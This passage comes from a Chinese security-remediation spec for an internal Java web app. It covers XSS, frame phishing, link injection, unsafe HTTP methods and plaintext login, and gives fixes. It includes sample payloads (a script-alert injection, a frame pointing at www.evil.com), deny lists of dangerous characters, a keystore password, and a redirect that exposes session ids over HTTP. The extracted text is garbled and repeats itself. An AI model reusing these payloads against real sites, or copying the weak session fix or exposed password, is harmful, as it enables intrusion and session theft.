如果Web 站点将这个参数值嵌入在响应的HTML 页面中(这正是站点问题的本质所在),恶意代码便会 在用户浏览器中运行。 (四) 安全规范要求 FSDP 框架中在传递参数时有两个主要参数 classes 与 common,一个指定要调用的 service,一个是调用 service 中的方法,如果 service 或方法不存在,就会跳转到错 误 信 息 显 示 , 并 将 详 细 的 错 误 信 息 显 示 出 来 , 如

callAction.do?method=call&nextPage=/oa/task/task_querylayout.jsp&c lasses=taskClientImpl&common=getInfoQueryDate 这个 URL,如果我们将 URL 修改一下,变成如下

callAction.do?method=call&nextPage=/oa/task/task_querylayout.jsp&c lasses=taskClientImpl<script>alert(123)</script>&common=getInfoQue ryDate,通过这个 URL 执行时会提示 service 不存在,并跳转到错误页面,同时会弹出 123 信息的提示窗口,同时如果我们修改 common 参数也能达到这种效果 (五) 解决方案 web.xml 增加如下配置

<!–可能存在的跨域代码字符串,用逗号分开 –> <context-param> <param-name>CROSS_DOMAIN_STR</param-name> <param-value>&lt;,>,%3C,%3E</param-value> </context-param> Constans.java 类增加如下变量

/** * 跨域特殊字符判断 */ 4 安全规范 public static List<String> CROSS_DOMAIN_STR = new ArrayList<String>(); FriendOneServlet.java 类增加 initSafetyConf 安全初始化配置方法 private void initSafetyConf(){ Constans.CROSS_DOMAIN_STR.clear(); String crossDomainStr = getServletContext().getInitParameter("CROSS_DOMAIN_STR"); String[] crossDomainAry = crossDomainStr.split(","); for(String s

crossDomainAry){ Constans.CROSS_DOMAIN_STR.add(s.trim()); } Constans.LOGIN_ERROR_TIMES getServletContext().getInitParameter("LOGIN_ERROR_TIMES"); Constans.LOGIN_ERROR_LOCK_SECOND getServletContext().getInitParameter("LOGIN_ERROR_LOCK_SECOND"); logger.info(Constans.CROSS_DOMAIN_STR); logger.info("LOGIN_ERROR_TIMES="+Constans.LOGIN_ERROR_TIMES); logger.info("LOGIN_ERROR_LOCK_SECOND="+Constans.LOGIN_ERROR_LOCK_S ECOND); } 在 init 方法中直接调用 在 ActionFilter.java 类中增加 checkCrossDomain 跨域特殊字符串检查,并在 doFilter 中进行判断验证,如果存在特殊字符,则直接跳转到登陆界面 修改 error.jsp,此处是用于处理返回的错误信息 目前是通过<html-el:errors />标签方式加载错误信息,此处可根据输入的条件来进行 错误注入,执行 js 代码,修改该当如下

一、 将此错误标签通过 textarea 进行包装, 错误信息是以文本方式显示, 无法执行, 如下

<textarea style="height:100%;width:95%;color:red" = = readonly=true><html-el:errors /></textarea> 同 时 修 改 BaseWebAction.java 类 的 这 processError 段 代 方 法 , 将 码 改 为 sb.append(ste[i]).append("<br>"); sb.append(ste[i]).append("\n"); 二、无论返回什么错误信息,此处只显示“操作故障,请确认操作是否合法或联系管理员检 查! ” 5 安全规范 启用了不安全的 HTTP 方法 <security-constraint> <web-resource-collection> <url-pattern>/*</url-pattern> <http-method>PUT</http-method> <http-method>DELETE</http-method> <http-method>HEAD</http-method> <http-method>OPTIONS</http-method> <http-method>TRACE</http-method> <http-method>SEARCH</http-method> <http-method>COPY</http-method> <http-method>MOVE</http-method> <http-method>PROPFIND</http-method> <http-method>PROPPATCH</http-method> <http-method>MKCOL</http-method> <http-method>LOCK</http-method> <http-method>UNLOCK</http-method> </web-resource-collection> <auth-constraint> </auth-constraint> </security-constraint> <login-config> <auth-method>BASIC</auth-method> </login-config> 1.3.5 已解密的登录请求 (一) URL http://10.149.113.200/loginAction.do (二) 安全问题描述 6 安全规范 用户登录密码为明文 (三) 攻击方法 可通过 http 报文截取登录用户密码 (四) 安全规范要求 发送敏感信息时,始终使用 SSL 和 HTTP POST 方法 (五) 解决方案 修改 server.xml <Connector protocol="org.apache.coyote.http11.Http11NioProtocol" port="8443" minSpareThreads="5" maxSpareThreads="75" enableLookups="true" disableUploadTimeout="true" acceptCount="100" maxThreads="200" scheme="https" secure="true" SSLEnabled="true" clientAuth="false" sslProtocol="TLS" keystoreFile="D:/apache-tomcat-6.0.18/server.keystore" keystorePass="friendone"/> 标红的地方注意,要与附件中 server.keystore 存放的位置一致 标蓝的 8443 要注意,外网的一律全用 443 端口,BOSS 网系统还 是全用 8443 端口。

修改 web.xml,在 welcome-file-list 后面增加如下配置 <login-config> <!– Authorization setting for SSL –> <auth-method>CLIENT-CERT</auth-method> <realm-name>Client Cert Users-only Area</realm-name> <auth-method>BASIC</auth-method> </login-config> <security-constraint> <!– Authorization setting for SSL –> <web-resource-collection> <web-resource-name>SSL</web-resource-name> /*/oa/login.jsp 为应用登录 URL,此为公司 OA 则为此串 */ <url-pattern>/oa/login.jsp</url-pattern> </web-resource-collection> 7 安全规范 <user-data-constraint> <transport-guarantee>CONFIDENTIAL</transport-guarant ee> </user-data-constraint> </security-constraint> <!– 禁止不安全的 http 方法 –> <security-constraint> <web-resource-collection> <web-resource-name>fortune</web-resource-name> <url-pattern>/*</url-pattern> <http-method>PUT</http-method> <http-method>DELETE</http-method> <http-method>HEAD</http-method> <http-method>OPTIONS</http-method> <http-method>TRACE</http-method> </web-resource-collection> <auth-constraint></auth-constraint> </security-constraint> 增加初始化变量: <context-param> <param-name>HTTP_URI</param-name> <param-value>8080</param-value> </context-param> 此为从 https 转到 http 时的跳转值,为应用部署服务器 IP 地址为端口 LoginAction.java 修改如下

Login 方法修改如下

String requesturl = request.getRequestURL().toString(); requesturl = requesturl.substring(requesturl.indexOf("//") + 2); requesturl = 8 requesturl.substring(0, 安全规范 requesturl.indexOf(":")); response.sendRedirect("http://"+requesturl+":"+Constans.HTTP_UR I+request.getContextPath()+"/loginAction.do?method=flogin&sessi onid="+session.getId()); returnnull; // clearTempFile(); //return new ActionForward("/"+Constans.PROJECT_NAME+"/frames/indexFrame.jsp"); 增加以下方法: public ActionForward flogin(ActionMapping mapping,ActionForm form,HttpServletRequest request,HttpServletResponse response) throws Exception{ try{ String value = request.getParameter("sessionid"); HashMap sessions = (HashMap) request.getSession().getServletContext().getAttribute("sessions"); HttpSession session = (HttpSession)sessions.get(value); if(session != null){ HttpSession nsession = request.getSession(); nsession.setAttribute(Constans.LOGIN_USER,session.getAttribute(Con stans.LOGIN_USER)); sessions.put(value, nsession); session = null; } returnnew ActionForward("/"+Constans.PROJECT_NAME+"/frames/indexFrame.jsp"); }catch(Exception e){ logger.error("LoginAction Exception Error:"+e.toString()); throw e; } } 修改 LoginAction.java 类的 systemLogout 方法: String requesturl = request.getRequestURL().toString(); requesturl = requesturl.substring(requesturl.indexOf("//") + 2); requesturl requesturl.indexOf(":")); 9 = requesturl.substring(0, 安全规范 response.sendRedirect("http://"+requesturl+":"+Constans.HTT P_URI+request.getContextPath()+LOGINPAGE); return null; // 1.3.6 return new ActionForward(LOGINPAGE); 跨站点脚本编制 (一) URL http://10.149.113.200/callAction.do http://10.149.113.200/loginAction.do (二) 安全问题描述 “跨站点脚本编制”攻击是一种隐私违例,可让攻击者获取合法用户的凭证,并在 与特定 Web 站点交互时假冒这位用户。

这个攻击立足于下列事实

Web 站点中所包含的脚本直接将用户在 HTML 页面中的 输入(通常是参数值)返回,而不预先加以清理。如果脚本在响应页面中返回由 JavaScript 代码组成的输入,浏览器便可以执行此输入。因此,有可能形成指向站 点的若干链接,且其中一个参数包含恶意的 JavaScript 代码。该代码将在站点上下 文中(由用户浏览器)执行,这使得该代码有权访问用户在该站点中具有访问权的 cookie,以及站点中其他可通过用户浏览器访问的窗口。

攻击依照下列方式继续进行:攻击者诱惑合法用户单击攻击者生成的链接。用户单 击该链接时,便会生成对于 Web 站点的请求,其中的参数值含有恶意的 JavaScript 代码。如果 Web 站点将这个参数值嵌入在响应的 HTML 页面中(这正是站点问题的本 质所在) ,恶意代码便会在用户浏览器中运行。

(三) 攻击方法 A. 在响应页面中,返回发送给 CGI 脚本的参数值,嵌入在 HTML 中。

例如:[请求] GET /cgi-bin/script.pl?name=JSmith HTTP/1.0 [响应] HTTP/1.1 200 OK Server

SomeServer Date

Sun, 01 Jan 2002 00:31:19 GMT Content-Type

text/html Accept-Ranges

bytes Content-Length

27 10 安全规范 <HTML> Hello JSmith </HTML> B. 在 HTML 参数值上下文中,返回发送给 CGI 脚本的参数值。

例如:[请求] GET /cgi-bin/script.pl?name=JSmith HTTP/1.0 [响应] HTTP/1.1 200 OK Server

SomeServer Date

Sun, 01 Jan 2002 00:31:19 GMT Content-Type

text/html Accept-Ranges

bytes Content-Length

254 <HTML> Please fill in your zip code

<FORM METHOD=GET ACTION="/cgi-bin/script.pl"> <INPUT TYPE=text NAME="name" value="JSmith"><br> <INPUT TYPE=text NAME="zip" value="Ente作文r zip code here"><br> <INPUT TYPE=submit value="Submit"> </FORM> </HTML> (四) 安全规范要求 通过验证用户输入未包含危险字符,便可能防止恶意的用户导致应用程序执行计划 外的任务, 例如:启动任意 SQL 查询、嵌入将在客户端执行的 Javascript 代码、运行各种 操作系统命令, 等等。

建议过滤出所有以下字符

[1] |(竖线符号) [2] &(&符号) [3];(分号) [4] $(美元符号) [5] %(百分比符号) [6] @(at 符号) [7] '(单引号) [8] "(引号) [9] \'(反斜杠转义单引号) [10] \"(反斜杠转义引号) 11 安全规范 [11] <>(尖括号) [12] ()(括号) [13] +(加号) [14] CR(回车符,ASCII 0x0d) [15] LF(换行,ASCII 0x0a) [16] ,(逗号) [17] \(反斜杠) (五) 解决方案 LoginImpl.java 类中的 getLoginInfo 方法,将之前的操作员工号与密码拼 接方式改成 SQL 变量绑定方式 StringBuffer sqlbuf = newStringBuffer(); sqlbuf.append("SELECT .orgcode,A.userid,A.username,A.password,A.va lidate,A.usertype,C.orgname,C.norgcode,C.orgtype,"); sqlbuf.append(" now() AS logindate,sp_genseqfunc('S','D') AS sessionid,"); sqlbuf.append(" (SELECT GROUP_CONCAT(B.datatype) FROM tb_userdatarel B WHERE B.userid = ?) AS datatypes ,PASSWORD(?)=A.password AS pwdiscorrect"); sqlbuf.append(" FROM tb_user A,tb_organization C"); sqlbuf.append(" WHERE A.userid = ? AND A.effdate <= CURDATE() AND A.expdate >= CURDATE() AND C.orgcode = A.orgcode"); web.xml 增加如下配置

<!–可能存在的跨域代码字符串,用逗号分开 –> <context-param> <param-name>CROSS_DOMAIN_STR</param-name> <param-value>&lt;,>,%3C,%3E</param-value> </context-param> <context-param> <param-name>GET_CROSS_DOMAIN_STR</param-name> <param-value>&lt;,>,",',%,;,(,),&amp;,+,HTTP,http,%0a</param-value> </context-param> Constans.java 类增加如下变量

/** * 跨域特殊字符判断 */ public static List<String> 12 CROSS_DOMAIN_STR = new 安全规范 ArrayList<String>(); public static List<String> GET_CROSS_DOMAIN_STR = new ArrayList<String>(); FriendOneServlet.java 类增加 initSafetyConf 安全初始化配置方法 private void initSafetyConf(){ Constans.CROSS_DOMAIN_STR.clear(); String crossDomainStr = getServletContext().getInitParameter("CROSS_DOMAIN_STR"); String[] crossDomainAry = crossDomainStr.split(","); for(String s

crossDomainAry){ Constans.CROSS_DOMAIN_STR.add(s.trim()); } crossDomainStr getServletContext().getInitParameter("GET_CROSS_DOMAIN_STR"); crossDomainAry = crossDomainStr.split(","); for(String s

crossDomainAry){ Constans.GET_CROSS_DOMAIN_STR.add(s.trim()); } Constans.LOGIN_ERROR_TIMES getServletContext().getInitParameter("LOGIN_ERROR_TIMES"); Constans.LOGIN_ERROR_LOCK_SECOND = = = getServletContext().getInitParameter("LOGIN_ERROR_LOCK_SECOND") ; Constans.HTTP_URI getServletContext().getInitParameter("HTTP_URI"); = logger.info(Constans.CROSS_DOMAIN_STR); logger.info("LOGIN_ERROR_TIMES="+Constans.LOGIN_ERROR_TIMES ); logger.info("LOGIN_ERROR_LOCK_SECOND="+Constans.LOGIN_ERROR _LOCK_SECOND); logger.info("HTTP_URI="+Constans.HTTP_URI); } 在 init 方法中直接调用 13 安全规范 在 ActionFilter.java 类中增加 checkCrossDomain 跨域特殊字符串检查, 并在 doFilter 中进行判断验证,如果存在特殊字符,则直接跳转到登陆界面 修改 error.jsp,此处是用于处理返回的错误信息 目前是通过<html-el:errors />标签方式加载错误信息,此处可根据输入的条 件来进行错误注入,执行 js 代码,修改该当如下

一、将此错误标签通过 textarea 进行包装,错误信息是以文本方式显示,无法执 行,如下

<textarea style="height:100%;width:95%;color:red" readonly=true><html-el:errors /></textarea> 同 时 修 改 BaseWebAction.java 类 的 这 processError 段 代 码 方 法 , 将 改 为 sb.append(ste[i]).append("<br>"); sb.append(ste[i]).append("\n"); 二、无论返回什么错误信息,此处只显示“操作故障,请确认操作是否合法或联系 管理员检查! ” 1.3.7 通过框架钓鱼 (一) URL http://10.149.113.200/callAction.do (二) 安全问题描述 网络钓鱼是一个通称,代表试图欺骗用户交出私人信息,以便电子欺骗身份。

攻击者有可能注入 frame 或 iframe 标记,其中含有类似受攻击之网站的恶意属 性。

不小心的用户有可能浏览它, 但并不知道他正在离开原始网站, 冲浪到恶意的网站。

之后,攻击者便可以诱惑用户重新登录,然后获取他的登录凭证。

(三) 攻击方法 伪造的网站嵌入在原始网站中,这个情况对攻击者有帮助,因为他的网络钓鱼企图 会披上更可信赖的外表。

利用的样本

如果参数值未经适当清理便反映在响应中,那么下列请求

http://[SERVER]/script.aspx?parameter=<frame src="www.evil.com">会使响应含有通往这个邪恶站点的框架。

(四) 安全规范要求 若干问题的补救方法在于对用户输入进行清理。

通过验证用户输入未包含危险字符,便可能防止恶意的用户导致应用程序执行计划 外的任务, 14 name="evil" 安全规范 例如:启动任意 SQL 查询、嵌入将在客户端执行的 Javascript 代码、运行各种 操作系统命令, 等等。

建议过滤出所有以下字符

[1] |(竖线符号) [2] &(&符号) [3];(分号) [4] $(美元符号) [5] %(百分比符号) [6] @(at 符号) [7] '(单引号) [8] "(引号) [9] \'(反斜杠转义单引号) [10] \"(反斜杠转义引号) 2012-7-4 16:57:34 154/187 [11] <>(尖括号) [12] ()(括号) [13] +(加号) [14] CR(回车符,ASCII 0x0d) [15] LF(换行,ASCII 0x0a) [16] ,(逗号) [17] \(反斜杠) 以下部分描述各种问题、问题的修订建议以及可能触发这些问题的危险字符

SQL 注入和 SQL 盲注

A. 确保用户输入的值和类型(如 Integer、Date 等)有效,且符合应用程序预 期。

B. 利用存储过程,将数据访问抽象化,让用户不直接访问表或视图。当使用存储 过程时,请利 用 ADO 命令对象来实施它们,以强化变量类型。

C. 清理输入以排除上下文更改符号,例如

[1] '(单引号) [2] "(引号) [3] \'(反斜线转义单引号) [4] \"(反斜杠转义引号) 15 安全规范 [5] )(结束括号) [6] ;(分号) 跨站点脚本编制

A. 清理用户输入,并过滤出 JavaScript 代码。我们建议您过滤下列字符

[1] <>(尖括号) [2] "(引号) [3] '(单引号) [4] %(百分比符号) [5] ;(分号) [6] ()(括号) [7] &(&符号) [8] +(加号) B. 如果要修订<%00script>变体,请参阅 MS 文章 821349 C. 对于 UTF-7 攻击

[-] 可能的话,建议您施行特定字符集编码(使用 'Content-Type' 头或 <meta>标记) 。

HTTP 响应分割:清理用户输入(至少是稍后嵌入在 HTTP 响应中的输入) 。

请确保输入未包含恶意的字符,例如

[1] CR(回车符,ASCII 0x0d) [2] LF(换行,ASCII 0x0a)远程命令执行:清理输入以排除对执行操作系统 命令有意义的符 号,例如

[1] |(竖线符号) [2] &(&符号) [3];(分号) 执行 shell 命令

A. 绝不将未检查的用户输入传递给 eval()、open()、sysopen()、system() 之类的 Perl 命令。

B. 确保输入未包含恶意的字符,例如

[1] $(美元符号) [2] %(百分比符号) [3] @(at 符号) XPath 注入:清理输入以排除上下文更改符号,例如

[1] '(单引号) 16 安全规范 [2] "(引号)等 LDAP 注入

A. 使用正面验证。字母数字过滤(A..Z,a..z,0..9)适合大部分 LDAP 查询。

B. 应该过滤出或进行转义的特殊 LDAP 字符

2012-7-4 16:57:34 155/187 [1] 在字符串开头的空格或“#”字符 [2] 在字符串结尾的空格字符 [3] ,(逗号) [4] +(加号) [5] "(引号) [6] \(反斜杠) [7] <>(尖括号) [8] ;(分号) [9] ()(括号) MX 注入

应该过滤出特殊 MX 字符

[1] CR(回车符,ASCII 0x0d) [2] LF(换行,ASCII 0x0a)记录伪造

应该过滤出特殊记录字符

[1] CR(回车符,ASCII 0x0d) [2] LF(换行,ASCII 0x0a) [3] BS(退格,ASCII 0x08) ORM 注入

A. 确保用户输入的值和类型(如 Integer、Date 等)有效,且符合应用程序预 期。

B. 利用存储过程,将数据访问抽象化,让用户不直接访问表或视图。

C. 使用参数化查询 API D. 清理输入以排除上下文更改符号,例如

(*)

[1] '(单引号) [2] "(引号) [3] \'(反斜线转义单引号) [4] \"(反斜杠转义引号) [5] )(结束括号) [6] ;(分号) 17 安全规范 (*) 这适用于 SQL。高级查询语言可能需要不同的清理机制。

(五) 解决方案 LoginImpl.java 类中的 getLoginInfo 方法,将之前的操作员工号与密码拼 接方式改成 SQL 变量绑定方式 StringBuffer sqlbuf = new StringBuffer(); sqlbuf.append("SELECT .orgcode,A.userid,A.username,A.passwo rd,A.validate,A.usertype,C.orgname,C.norgcode,C.orgtype,"); sqlbuf.append(" now() AS logindate,sp_genseqfunc('S','D') AS sessionid,"); sqlbuf.append(" tb_userdatarel B (SELECT WHERE GROUP_CONCAT(B.datatype) B.userid = ?) FROM AS datatypes ,PASSWORD(?)=A.password AS pwdiscorrect"); sqlbuf.append(" FROM tb_user A,tb_organization C"); sqlbuf.append(" WHERE A.userid = ? AND A.effdate <= CURDATE() AND A.expdate >= CURDATE() AND C.orgcode = A.orgcode"); web.xml 增加如下配置

<!–可能存在的跨域代码字符串,用逗号分开 –> <context-param> <param-name>CROSS_DOMAIN_STR</param-name> <param-value>&lt;,>,%3C,%3E</param-value> </context-param> Constans.java 类增加如下变量

/** * 跨域特殊字符判断 */ public static List<String> CROSS_DOMAIN_STR = new ArrayList<String>(); FriendOneServlet.java 类增加 initSafetyConf 安全初始化配置方法 private void initSafetyConf(){ Constans.CROSS_DOMAIN_STR.clear(); String crossDomainStr = getServletContext().getInitParameter("CROSS_DOMAIN_STR"); String[] crossDomainAry = crossDomainStr.split(","); 18 安全规范 for(String s

crossDomainAry){ Constans.CROSS_DOMAIN_STR.add(s.trim()); } Constans.LOGIN_ERROR_TIMES getServletContext().getInitParameter("LOGIN_ERROR_TIMES"); Constans.LOGIN_ERROR_LOCK_SECOND = = getServletContext().getInitParameter("LOGIN_ERROR_LOCK_SECOND") ; logger.info(Constans.CROSS_DOMAIN_STR); logger.info("LOGIN_ERROR_TIMES="+Constans.LOGIN_ERROR_TIMES ); logger.info("LOGIN_ERROR_LOCK_SECOND="+Constans.LOGIN_ERROR _LOCK_SECOND); } 在 init 方法中直接调用 在 ActionFilter.java 类中增加 checkCrossDomain 跨域特殊字符串检查, 并在 doFilter 中进行判断验证,如果存在特殊字符,则直接跳转到登陆界面 修改 error.jsp,此处是用于处理返回的错误信息 目前是通过<html-el:errors />标签方式加载错误信息,此处可根据输入的条 件来进行错误注入,执行 js 代码,修改该当如下

一、将此错误标签通过 textarea 进行包装,错误信息是以文本方式显示,无法执 行,如下

<textarea style="height:100%;width:95%;color:red" readonly=true><html-el:errors /></textarea> 同 时 修 改 BaseWebAction.java 类 的 这 processError 段 代 码 方 法 , 将 改 为 sb.append(ste[i]).append("<br>"); sb.append(ste[i]).append("\n"); 二、无论返回什么错误信息,此处只显示“操作故障,请确认操作是否合法或联系 管理员检查! ” 1.3.8 链接注入(便于跨站请求伪造) (一) URL http://10.149.113.200/callAction.do 19 安全规范 (二) 安全问题描述 可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息 可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合法用户,从而使黑客 能够以该用户身份查看或变更用户记录以及执行事务可能会在 Web 服务器上上载、修 改或删除 Web 页面、脚本和文件 (三) 攻击方法 “链接注入”是修改站点内容的行为,其方式为将外部站点的 URL 嵌入其中,或 将有易受攻击的 站点中的脚本的 URL 嵌入其中。将 URL 嵌入易受攻击的站点中,攻击者便能够以 它为平台来 启动对其他站点的攻击,以及攻击这个易受攻击的站点本身。

在这些可能的攻击中,有些需要用户在攻击期间登录站点。攻击者从这一易受攻击 的站点本身 启动这些攻击,成功的机会比较大,因为用户登录的可能性更大。

“链接注入”漏洞是用户输入清理不充分的结果,清理结果会在稍后的站点响应中 返回给用户。

攻击者能够将危险字符注入响应中,便能够嵌入 URL 及其他可能的内容修改。

以下是“链接注入”的示例(我们假设“www.vulnerable.com”站点有一个用 来问候用户的参数,称 为“name”。

) 下列请求:HTTP://www.vulnerable.com/greet.asp?name=John Smith 会生成下列响应

<HTML> <BODY> Hello, John Smith. </BODY> </HTML> 然而,恶意的用户可以发送下列请求

HTTP://www.vulnerable.com/greet.asp?name=<IMG SRC="/ANYSCRIPT. asp"> 这会返回下列响应

<HTML> <BODY> 20 安全规范 Hello, <IMG SRC="/ANY-SCRIPT.asp">. </BODY> </HTML> 2012-7-4 16:57:34 149/187 如该示例所示,这有可能导致用户浏览器向几乎是攻击者所期待的任何站点发出自 动请求。因 此,他可能利用这个“链接注入”漏洞来启动若干类型的攻击

跨站点伪造请求:攻击者可以让用户的浏览器向用户目前登录的站点发送请求,以 及执行用户 并不想执行的操作。

这些操作可能包括从站点中注销,或修改用户的概要文件、电子邮件地址,甚至是 修改密码, 结果造成彻底的帐户接管。

跨站点脚本编制:任何“跨站点脚本编制”攻击都开始自诱惑用户单击精心制作的 URL,以便利 用受害者站点中的漏洞。

发送含有恶意链接的电子邮件,或创建一个 Web 站点来包含指向易受攻击的站点 的链接,通 常可以做到这一点。

当采用“链接注入”漏洞时,有可能在 A 站点中嵌入一个恶意的 URL,当单击这个 链接时,便启 动对 B 站点的“跨站点脚本编制”攻击。

网络钓鱼:攻击者有可能注入指向类似受攻击站点的恶意站点的链接。

不小心的用户可能单击这个链接,但并不知道自己即将离开原始站点而浏览到恶意 站点。之 后,攻击者便可以诱惑用户重新登录,然后获取他的登录凭证。

(四) 安全规范要求 通过验证用户输入未包含危险字符,便可能防止恶意的用户导致应用程序执行计划 外的任务, 例如:启动任意 SQL 查询、嵌入将在客户端执行的 Javascript 代码、运行各种 操作系统命令, 等等。

建议过滤出所有以下字符

[1] |(竖线符号) 21 安全规范 [2] &(&符号) [3];(分号) [4] $(美元符号) [5] %(百分比符号) [6] @(at 符号) [7] '(单引号) [8] "(引号) [9] \'(反斜杠转义单引号) [10] \"(反斜杠转义引号) [11] <>(尖括号) [12] ()(括号) [13] +(加号) [14] CR(回车符,ASCII 0x0d) [15] LF(换行,ASCII 0x0a) [16] ,(逗号) [17] \(反斜杠) 以下部分描述各种问题、问题的修订建议以及可能触发这些问题的危险字符

SQL 注入和 SQL 盲注

A. 确保用户输入的值和类型(如 Integer、Date 等)有效,且符合应用程序预 期。

B. 利用存储过程,将数据访问抽象化,让用户不直接访问表或视图。当使用存储 过程时,请利 用 ADO 命令对象来实施它们,以强化变量类型。

C. 清理输入以排除上下文更改符号,例如

[1] '(单引号) [2] "(引号) [3] \'(反斜线转义单引号) [4] \"(反斜杠转义引号) [5] )(结束括号) [6] ;(分号) 2012-7-4 16:57:34 150/187 跨站点脚本编制

A. 清理用户输入,并过滤出 JavaScript 代码。我们建议您过滤下列字符

[1] <>(尖括号) 22 安全规范 [2] "(引号) [3] '(单引号) [4] %(百分比符号) [5] ;(分号) [6] ()(括号) [7] &(&符号) [8] +(加号) B. 如果要修订<%00script>变体,请参阅 MS 文章 821349 C. 对于 UTF-7 攻击

[-] 可能的话,建议您施行特定字符集编码(使用 'Content-Type' 头或 <meta>标记) 。

HTTP 响应分割:清理用户输入(至少是稍后嵌入在 HTTP 响应中的输入) 。

请确保输入未包含恶意的字符,例如

[1] CR(回车符,ASCII 0x0d) [2] LF(换行,ASCII 0x0a)远程命令执行:清理输入以排除对执行操作系统 命令有意义的符 号,例如

[1] |(竖线符号) [2] &(&符号) [3];(分号) 执行 shell 命令

A. 绝不将未检查的用户输入传递给 eval()、open()、sysopen()、system() 之类的 Perl 命令。

B. 确保输入未包含恶意的字符,例如

[1] $(美元符号) [2] %(百分比符号) [3] @(at 符号) XPath 注入:清理输入以排除上下文更改符号,例如

[1] '(单引号) [2] "(引号)等 LDAP 注入

A. 使用正面验证。字母数字过滤(A..Z,a..z,0..9)适合大部分 LDAP 查询。

B. 应该过滤出或进行转义的特殊 LDAP 字符

[1] 在字符串开头的空格或“#”字符 23 安全规范 [2] 在字符串结尾的空格字符 [3] ,(逗号) [4] +(加号) [5] "(引号) [6] \(反斜杠) [7] <>(尖括号) [8] ;(分号) [9] ()(括号) MX 注入

应该过滤出特殊 MX 字符

[1] CR(回车符,ASCII 0x0d) [2] LF(换行,ASCII 0x0a)记录伪造

应该过滤出特殊记录字符

[1] CR(回车符,ASCII 0x0d) [2] LF(换行,ASCII 0x0a) [3] BS(退格,ASCII 0x08) ORM 注入

A. 确保用户输入的值和类型(如 Integer、Date 等)有效,且符合应用程序预 期。

2012-7-4 16:57:34 151/187 B. 利用存储过程,将数据访问抽象化,让用户不直接访问表或视图。

C. 使用参数化查询 API D. 清理输入以排除上下文更改符号,例如

(*)

[1] '(单引号) [2] "(引号) [3] \'(反斜线转义单引号) [4] \"(反斜杠转义引号) [5] )(结束括号) [6] ;(分号) (*) 这适用于 SQL。高级查询语言可能需要不同的清理机制。

(五) 解决方案 LoginImpl.java 类中的 getLoginInfo 方法,将之前的操作员工号与密码拼 接方式改成 SQL 变量绑定方式 StringBuffer sqlbuf = new StringBuffer(); 24 安全规范 sqlbuf.append("SELECT .orgcode,A.userid,A.username,A.passwo rd,A.validate,A.usertype,C.orgname,C.norgcode,C.orgtype,"); sqlbuf.append(" now() AS logindate,sp_genseqfunc('S','D') AS sessionid,"); sqlbuf.append(" tb_userdatarel B (SELECT WHERE GROUP_CONCAT(B.datatype) B.userid = ?) FROM AS datatypes ,PASSWORD(?)=A.password AS pwdiscorrect"); sqlbuf.append(" FROM tb_user A,tb_organization C"); sqlbuf.append(" WHERE A.userid = ? AND A.effdate <= CURDATE() AND A.expdate >= CURDATE() AND C.orgcode = A.orgcode"); web.xml 增加如下配置

<!–可能存在的跨域代码字符串,用逗号分开 –> <context-param> <param-name>CROSS_DOMAIN_STR</param-name> <param-value>&lt;,>,%3C,%3E</param-value> </context-param> Constans.java 类增加如下变量

/** * 跨域特殊字符判断 */ public static List<String> CROSS_DOMAIN_STR = new ArrayList<String>(); FriendOneServlet.java 类增加 initSafetyConf 安全初始化配置方法 private void initSafetyConf(){ Constans.CROSS_DOMAIN_STR.clear(); String crossDomainStr = getServletContext().getInitParameter("CROSS_DOMAIN_STR"); String[] crossDomainAry = crossDomainStr.split(","); for(String s

crossDomainAry){ Constans.CROSS_DOMAIN_STR.add(s.trim()); } Constans.LOGIN_ERROR_TIMES getServletContext().getInitParameter("LOGIN_ERROR_TIMES"); 25 = 安全规范 Constans.LOGIN_ERROR_LOCK_SECOND = getServletContext().getInitParameter("LOGIN_ERROR_LOCK_SECOND") ; logger.info(Constans.CROSS_DOMAIN_STR); logger.info("LOGIN_ERROR_TIMES="+Constans.LOGIN_ERROR_TIMES ); logger.info("LOGIN_ERROR_LOCK_SECOND="+Constans.LOGIN_ERROR _LOCK_SECOND); } 在 init 方法中直接调用 在 ActionFilter.java 类中增加 checkCrossDomain 跨域特殊字符串检查, 并在 doFilter 中进行判断验证,如果存在特殊字符,则直接跳转到登陆界面 修改 error.jsp,此处是用于处理返回的错误信息 目前是通过<html-el:errors />标签方式加载错误信息,此处可根据输入的条 件来进行错误注入,执行 js 代码,修改该当如下

一、将此错误标签通过 textarea 进行包装,错误信息是以文本方式显示,无法执 行,如下

<textarea style="height:100%;width:95%;color:red" readonly=true><html-el:errors /></textarea> 同 时 修 改 BaseWebAction.java 类 的 这 processError 段 代 码 方 法 , 将 改 为 sb.append(ste[i]).append("<br>"); sb.append(ste[i]).append("\n"); 二、无论返回什么错误信息,此处只显示“操作故障,请确认操作是否合法或联系 管理员检查! ” 1.3.9 应用程序错误 (一) URL http://10.149.113.200/callAction.do http://10.149.113.200/clientAction.do http://10.149.113.200/loginAction.do (二) 安全问题描述 未对入局参数值执行适当的边界检查 未执行验证以确保用户输入与预期的数据类型匹配 26 安全规范 (三) 攻击方法 如果攻击者通过伪造包含非应用程序预期的参数或参数值的请求,来探测应用程序 (如以下示 例所示) ,那么应用程序可能会进入易受攻击的未定义状态。攻击者可以从应用程 序对该请 求的响应中获取有用的信息,且可利用该信息,以找出应用程序的弱点。

例如,如果参数字段是单引号括起来的字符串(如在 ASP 脚本或 SQL 查询中) , 那么注入的 单引号将会提前终止字符串流,从而更改脚本的正常流程/语法。

错误消息中泄露重要信息的另一个原因,是脚本编制引擎、Web 服务器或数据库配 置错误。

以下是一些不同的变体

[1] 除去参数 [2] 除去参数值 [3] 将参数值设置为空值 [4] 将参数值设置为数字溢出(+/- 99999999) [5] 将参数值设置为危险字符,如 ' " \' \" ) ; [6] 将某字符串附加到数字参数值 (四) 安全规范要求 所有涉及到拼接 SQL 的地方,用绑定变量方式 (五) 解决方案 非模糊匹配的很好改,将以前拼接的形式找成“?”号,如果是动态拼接,无法确 定数量的,如通过如下形式

List<String> args = new ArrayList<String>(); if(!"".equals(order.getOrdertitle())){ sql.append(" and a.ordertitle like ?"); args.add("%"+order.getOrdertitle()+"%"); //这种方式是用来进行模 糊匹配的 } if(!"".equals(order.getDbuser())){ sql.append(" and a.dbuser = ?"); args.add(order.getDbuser()); } if(!"".equals(order.getEffdate())){ 27 安全规范 sql.append(" and a.effdate >= to_date(?,'yyyy-mm-dd')");//日 期格式 args.add(order.getEffdate()); } if(!"".equals(order.getExpdate())){ sql.append(" and a.expdate <= to_date(?,'yyyy-mm-dd')"); args.add(order.getExpdate()); } 拼接后查询如下

String sqlexec = pages.wrapSqlTotal(sql.toString(), getSimpleJdbcTemplate(), args.toArray()); 还有一种命名参数变量绑定的形式

